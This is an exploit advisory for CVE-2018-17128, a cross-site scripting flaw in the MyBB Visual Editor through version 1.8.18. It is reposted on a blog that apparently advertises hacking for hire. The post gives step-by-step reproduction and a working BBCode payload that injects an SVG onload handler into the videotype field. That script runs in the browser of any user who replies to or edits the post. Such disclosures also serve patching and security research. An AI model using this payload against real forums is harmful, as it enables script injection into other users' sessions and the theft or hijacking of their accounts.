Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378593

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: MyBB Visual Editor 1.8.18 - Cross-Site Scripting
# Author: Numan OZDEMIR
# Vendor Homepage: mybb.com
# Software Link: https://mybb.com/download/
# Version: Up to v1.8.18. Fixed in v1.8.19.
# PoC Video: https://numanozdemir.com/mybb/xss.mp4
# CVE: CVE-2018-17128

# Description:
# Attacker can run JavaScript codes in victim user's browser while victim is replying a post.
# 'videotype' section causes this.

# How to Reproduce:

1)- Enter to thread posting page. (newthread.php, enter title and content.)
2)- Click "insert a video" command. Select any source and insert any URL.
3)- Edit the video source with your payload.
Or, directly add this code:

[video=PAYLOAD]http://victim.com[/video]
Example:
[video=PA<svg/onload=alert('xss')>YLOAD]http://victim.com[/video]

4)- Post the thread.

# While victim user replying your post, his browser will run JavaScript.
# Vulnerable pages: editpost.php, newreply.php, private.php
# and all Visual Editor embedded pages.